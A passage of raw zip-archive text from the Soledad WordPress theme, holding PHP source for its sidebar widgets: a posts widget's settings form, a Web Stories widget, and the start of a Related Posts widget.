						foreach ( $all_post_types as $p_type => $ptobject ) {
							?>
                            <option value='<?php echo esc_attr( $p_type ); ?>' <?php if ( $p_type == $instance['ptype'] ) {
								echo 'selected="selected"';
							} ?>><?php echo $ptobject->label; ?></option>
						<?php }
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"><?php esc_html_e( 'Custom taxonomies to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'taxonomy' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'taxonomy' ) ); ?>"
                       value="<?php echo esc_attr( $instance['taxonomy'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy slug(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"><?php esc_html_e( 'Taxonomy IDs to query:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'tax_ids' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'tax_ids' ) ); ?>"
                       value="<?php echo esc_attr( $instance['tax_ids'] ); ?>" size="3"/>
                <span class="description"><?php _e( 'Fill taxonomy ID(s) here. Separate by commas to query multiple taxonomies. Check <a href="https://imgresources.s3.amazonaws.com/custom-taxonomy.png" style="color: #007cba;" target="_blank">this image</a> for understand more.', 'soledad' ); ?></span>
            </p>

			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'query_cat' ) ); ?>"><?php esc_html_e( 'Query Posts Within Current Category?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'query_cat' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'query_cat' ) ); ?>" <?php checked( (bool) $instance['query_cat'], true ); ?> /><br>
                <span class="description"><?php _e( 'When this widget is viewed on a category page, the post query will automatically use the current category\'s slug or ID', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"><?php esc_html_e( 'Ignore Sticky Posts?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'sticky' ) ); ?>" <?php checked( (bool) $instance['sticky'], true ); ?> /><br>
                <span class="description"><?php _e( 'Note that: Ignore sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.', 'soledad' ); ?></span>
            </p>

            <!-- Order by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='date' <?php if ( 'date' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Published Date', 'soledad' ); ?></option>
                    <option value='ID' <?php if ( 'ID' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts ID', 'soledad' ); ?></option>
                    <option value='title' <?php if ( 'title' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts Titles', 'soledad' ); ?></option>
                    <option value='modified' <?php if ( 'modified' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Modified Date', 'soledad' ); ?></option>
                    <option value='comment_count' <?php if ( 'comment_count' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Comment Count', 'soledad' ); ?></option>
                    <option value='popular' <?php if ( 'popular' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Popular Posts All Time', 'soledad' ); ?></option>
                    <option value='popular7' <?php if ( 'popular7' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Popular Posts Once Weekly', 'soledad' ); ?></option>
                    <option value='popular_month' <?php if ( 'popular_month' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Popular Posts Once A Month', 'soledad' ); ?></option>
                    <option value='rand' <?php if ( 'rand' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Random', 'soledad' ); ?></option>
					<option value='metakey' <?php if ( 'metakey' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Custom Meta Key', 'soledad' ); ?></option>
                </select>
            </p>

			<!-- Custom Meta Key -->
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"><?php esc_html_e( 'Custom Meta Key:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'metakey' ) ); ?>"
                       value="<?php echo esc_attr( $instance['metakey'] ); ?>"/>
            </p>

            <!-- Order -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Select Order Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='DESC' <?php if ( 'DESC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'DESC ( Descending Order )', 'soledad' ); ?></option>
                    <option value='ASC' <?php if ( 'ASC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'ASC ( Ascending Order )', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Image Size -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"><?php esc_html_e( 'Featured Images Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_type' ) ); ?>"
                        class="widefat image_type" style="width:100%;">
                    <option value='default' <?php if ( 'default' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Default ( follow on Customize )', 'soledad' ); ?></option>
                    <option value='horizontal' <?php if ( 'horizontal' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Horizontal Size', 'soledad' ); ?></option>
                    <option value='square' <?php if ( 'square' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Square Size', 'soledad' ); ?></option>
                    <option value='vertical' <?php if ( 'vertical' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Vertical Size', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Offset of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Display post date -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'date' ) ); ?>"><?php esc_html_e( 'Hide post date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'date' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'date' ) ); ?>" <?php checked( (bool) $instance['date'], true ); ?> />
            </p>

            <!-- Disable autoplay -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'autoplay' ) ); ?>"><?php esc_html_e( 'Enable slider autoplay?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'autoplay' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'autoplay' ) ); ?>" <?php checked( (bool) $instance['autoplay'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"><?php esc_html_e( 'Post Title Font Size ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfs'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"><?php esc_html_e( 'Post Meta Font Size ( Default: 13 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pmfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['pmfs'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     2w\d/(F  F    widgets/web_stories.phpnu [        <?php
/**
 * Web Stories widget
 * Display webs stories posts on footer or sidebar
 *
 * @package Soledad
 * @since   8.2.2
 */

add_action( 'widgets_init', 'penci_webstories_load_widget' );

function penci_webstories_load_widget() {
	register_widget( 'penci_webstories_widget' );
}

if ( ! class_exists( 'penci_webstories_widget' ) ) {
	class penci_webstories_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_webstories_widget',
				'description' => esc_html__( 'A widget that displays an a Web Stories', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_webstories_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_webstories_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Web Stories', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_webstories_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Web Stories', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title = isset( $instance['title'] ) ? $instance['title'] : '';
			$title = apply_filters( 'widget_title', $title );

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo $before_title . $title . $after_title;
			}

			$args_stories = [
				'order'       => isset( $instance['order'] ) ? $instance['order'] : '',
				'orderby'     => isset( $instance['orderby'] ) ? $instance['orderby'] : '',
				'number'      => isset( $instance['number'] ) ? $instance['number'] : 4,
				'offset'      => isset( $instance['offset'] ) ? $instance['offset'] : 0,
				'story_cat'   => isset( $instance['story_cat'] ) ? $instance['story_cat'] : '',
				'story_tag'   => isset( $instance['story_tag'] ) ? $instance['story_tag'] : '',
				'layout'      => isset( $instance['layout'] ) ? $instance['layout'] : 'grid',
				'align'       => isset( $instance['align'] ) ? $instance['align'] : '',
				'columns'     => isset( $instance['columns'] ) ? $instance['columns'] : 4,
				'iwidth'      => isset( $instance['iwidth'] ) ? $instance['iwidth'] : 100,
				'nextprev'    => isset( $instance['nextprev'] ) && $instance['nextprev'] ? 'yes' : '',
				'pos'         => isset( $instance['pos'] ) && $instance['pos'] ? 'yes' : '',
				'showtitle'   => isset( $instance['showtitle'] ) && $instance['showtitle'] ? 'yes' : '',
				'title_fsize' => isset( $instance['title_fsize'] ) && $instance['title_fsize'] ? $instance['title_fsize'] : '',
				'iboradius' => isset( $instance['iboradius'] ) && $instance['iboradius'] ? $instance['iboradius'] : '',
			];

			$id_base = '#' . $this->id;

			penci_webstories( $args_stories );

			echo '<style>';
			if ( $args_stories['columns'] ) {
				echo $id_base . ' .pc-wstories-wrapper .pc-wstories-list.grid .pc-webstory-item{width:calc(100% / ' . $args_stories['columns'] . ')}';
				echo $id_base . ' .pc-wstories-wrapper .pc-wstories-list.slider:not(.penci-owl-loaded) .pc-webstory-item{width:calc(100% / ' . $args_stories['columns'] . ')}';
				echo $id_base . ' .pc-wstories-wrapper .pc-wstories-list.one-row .pc-webstory-item{width:unset;flex: 0 0 calc(100% / ' . $args_stories['columns'] . ');min-width:calc(100% / ' . $args_stories['columns'] . ');}';
			}
			if ( $args_stories['iboradius'] ) {
				echo $id_base . ' .pc-wstories-wrapper .pc-webstory-thumb-wrapper, '. $id_base .' .pc-wstories-wrapper .pc-webstory-thumb{border-radius:' . $args_stories['iboradius'] . 'px;}';
			}
			if ( $args_stories['iwidth'] ) {
				echo $id_base . ' .pc-wstories-wrapper .pc-wstories-list.one-row .pc-webstory-item{flex: 0 0 ' . $args_stories['iwidth'] . 'px;min-width:' . $args_stories['iwidth'] . 'px;}';
			}
			if ( $args_stories['title_fsize'] ) {
				echo $id_base . ' .pc-webstory-item .pc-webstory-item-title h4{font-size:' . $args_stories['title_fsize'] . 'px}';
			}
			echo '</style>';

			wp_enqueue_script( 'penci_web_stories' );

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'       => 'Web Stories',
				'order'       => '',
				'orderby'     => '',
				'number'      => 4,
				'offset'      => '',
				'story_cat'   => '',
				'story_tag'   => '',
				'layout'      => 'grid',
				'align'       => '',
				'columns'     => 4,
				'iwidth'      => 100,
				'nextprev'    => true,
				'pos'         => true,
				'showtitle'   => true,
				'title_fsize' => '',
				'iboradius' => '',
			);
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$story_cat = array();
			$story_tag = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['story_cat'] ) ) {
				$story_cat = explode( ',', $instance['story_cat'] );
			}
			if ( isset( $instance['story_tag'] ) && ! empty( $instance['story_tag'] ) ) {
				$story_tag = explode( ',', $instance['story_tag'] );
			}

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <!-- Widget Title: Text Input -->

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Category -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>"><?php esc_html_e( 'Include Categories:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'cats_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $story_cat ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All categories', 'soledad' ); ?></option>
					<?php $categories = get_categories( 'taxonomy=web_story_category&hide_empty=0&depth=1&type=web-story' ); ?>
					<?php foreach ( $categories as $category ) { ?>
                        <option value='<?php echo esc_attr( $category->term_id ); ?>' <?php if ( in_array( $category->term_id, $story_cat ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $category->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple categories.', 'soledad' ); ?></span>
            </p>

            <!-- Tags -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>"><?php esc_html_e( 'Include Tags:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'tags_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $story_tag ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All tags', 'soledad' ); ?></option>
					<?php $tags = get_tags( 'taxonomy=web_story_tag&hide_empty=0&depth=1&type=web-story' ); ?>
					<?php foreach ( $tags as $tag ) { ?>
                        <option value='<?php echo esc_attr( $tag->term_id ); ?>' <?php if ( in_array( $tag->term_id, $story_tag ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $tag->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple tags.', 'soledad' ); ?></span>
            </p>

            <!-- Order by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='date' <?php if ( 'date' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Published Date', 'soledad' ); ?></option>
                    <option value='ID' <?php if ( 'ID' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts ID', 'soledad' ); ?></option>
                    <option value='title' <?php if ( 'title' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts Titles', 'soledad' ); ?></option>
                    <option value='modified' <?php if ( 'modified' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Modified Date', 'soledad' ); ?></option>
                    <option value='comment_count' <?php if ( 'comment_count' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Comment Count', 'soledad' ); ?></option>
                    <option value='rand' <?php if ( 'rand' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Random', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Order -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Select Order Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='DESC' <?php if ( 'DESC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'DESC ( Descending Order )', 'soledad' ); ?></option>
                    <option value='ASC' <?php if ( 'ASC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'ASC ( Ascending Order )', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Offset of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Layout -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'layout' ) ); ?>"><?php esc_html_e( 'Select Layout Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'layout' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'layout' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='grid' <?php if ( 'grid' == $instance['layout'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Grid', 'soledad' ); ?></option>
                    <option value='grid' <?php if ( 'slider' == $instance['layout'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Slider', 'soledad' ); ?></option>
                    <option value='onerow' <?php if ( 'onerow' == $instance['layout'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'One Row', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Columns -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'columns' ) ); ?>"><?php esc_html_e( 'Number of columns to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'columns' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'columns' ) ); ?>"
                       value="<?php echo esc_attr( $instance['columns'] ); ?>" size="12"/>
            </p>

            <!-- Custom Item Width -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'iwidth' ) ); ?>"><?php esc_html_e( 'Custom Item Width (for One Row Layout):', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'iwidth' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'iwidth' ) ); ?>"
                       value="<?php echo esc_attr( $instance['iwidth'] ); ?>" size="12"/>
            </p>

            <!-- Align -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>">Align This Widget:</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'align' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='pc_aligncenter' <?php if ( '' == $instance['align'] ) {
						echo 'selected="selected"';
					} ?>>Align Center
                    </option>
                    <option value='pc_alignleft' <?php if ( 'pc_alignleft' == $instance['align'] ) {
						echo 'selected="selected"';
					} ?>>Align Left
                    </option>
                    <option value='pc_alignright' <?php if ( 'pc_alignright' == $instance['align'] ) {
						echo 'selected="selected"';
					} ?>>Align Right
                    </option>
                </select>
            </p>
			
			<!-- Border radius -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'iboradius' ) ); ?>"><?php esc_html_e( 'Thumbnail Border Radius (px):', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'iboradius' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'iboradius' ) ); ?>"
                       value="<?php echo esc_attr( $instance['iboradius'] ); ?>" size="3"/>
            </p>

            <!-- Show Title -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'showtitle' ) ); ?>"><?php esc_html_e( 'Display Story Title ?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'showtitle' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'showtitle' ) ); ?>" <?php checked( (bool) $instance['showtitle'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_fsize' ) ); ?>"><?php esc_html_e( 'Font size for Story Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title_fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_fsize' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_fsize'] ); ?>" size="12"/>
            </p>

            <!-- Show Next/Prev -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'nextprev' ) ); ?>"><?php esc_html_e( 'Display Next/Prev Buttons ?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'nextprev' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'nextprev' ) ); ?>" <?php checked( (bool) $instance['nextprev'], true ); ?> />
            </p>

            <!-- Show Position  -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pos' ) ); ?>"><?php esc_html_e( 'Display Current Story Position ?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'pos' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pos' ) ); ?>" <?php checked( (bool) $instance['pos'], true ); ?> />
            </p>
			<?php
		}
	}
}
?>
PK     2w\i33x  3x    widgets/related_post_widget.phpnu [        <?php
/**
 * Lastest post widget
 * Get recent posts and display in widget
 *
 * @package Wordpress
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_related_news_load_widget' );

function penci_related_news_load_widget() {
	register_widget( 'penci_related_news_widget' );
}

if ( ! class_exists( 'penci_related_news_widget' ) ) {
	class penci_related_news_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_related_news_widget',
				'description' => esc_html__( 'A widget that displays your related posts based on currently viewing posts. Note that this widget just appears on single post pages only.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_related_news_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_related_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Related Posts', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_related_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Related Posts', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title        = isset( $instance['title'] ) ? $instance['title'] : '';
			$title        = apply_filters( 'widget_title', $title );
			$type         = isset( $instance['type'] ) ? $instance['type'] : 'categories';
			$orderby      = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
			$order        = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
			$metakey	  = isset( $instance['metakey'] ) ? $instance['metakey'] : '';
			$number       = isset( $instance['number'] ) ? $instance['number'] : 5;
			$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
			$dotstyle     = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
			$movemeta     = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
			$featured     = isset( $instance['featured'] ) ? $instance['featured'] : false;
			$twocolumn    = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
			$featured2    = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
			$allfeatured  = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
			$thumbright   = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
			$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
			$icon         = isset( $instance['icon'] ) ? $instance['icon'] : false;
			$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$ptfsfe       = isset( $instance['ptfsfe'] ) ? absint( $instance['ptfsfe'] ) : '';
			$ptfs         = isset( $instance['ptfs'] ) ? absint( $instance['ptfs'] ) : '';
			$pmfs         = isset( $instance['pmfs'] ) ? absint( $instance['pmfs'] ) : '';

			$original_post_id = get_the_ID();

			$args = penci_get_query_related_posts( get_the_ID(), $type, $orderby, $order, $number );

			if ( $metakey && $orderby == 'metakey' ) {
				$args['meta_key'] = $metakey;
				$args['orderby']  = 'meta_value_num';
			}

			if ( is_singular( 'post' ) && ! empty( $args ) ) {

				$loop = new WP_Query( $args );
				if ( $loop->have_posts() ) :

					/* Before widget (defined by themes). */
					echo ent2ncr( $before_widget );

					/* Display the widget title if one was input (before and after defined by themes). */
					if ( $title ) {
						echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
					}

					$rand = rand( 1000, 10000 );

					?>
                    <ul id="penci-relatedwg-<?php echo sanitize_text_field( $rand ); ?>"
                        data-settings='<?php echo json_encode( $instance ); ?>' data-paged="1"
                        data-id="<?php echo esc_attr( $original_post_id ); ?>"
                        data-action="penci_related_news_widget_ajax"
                        data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                        data-max="<?php echo esc_attr( $loop->max_num_pages ); ?>"
                        class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
						    if ( $featured ) {
							    echo ' penci-2columns-featured';
						    } else {
							    echo ' penci-2columns-feed';
						    } endif;
					    if ( $dotstyle ) {
						    echo ' pctlst pctl-' . $dotstyle;
					    } ?>">
						<?php $num = 1;
						while ( $loop->have_posts() ) : $loop->the_post(); ?>
                            <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
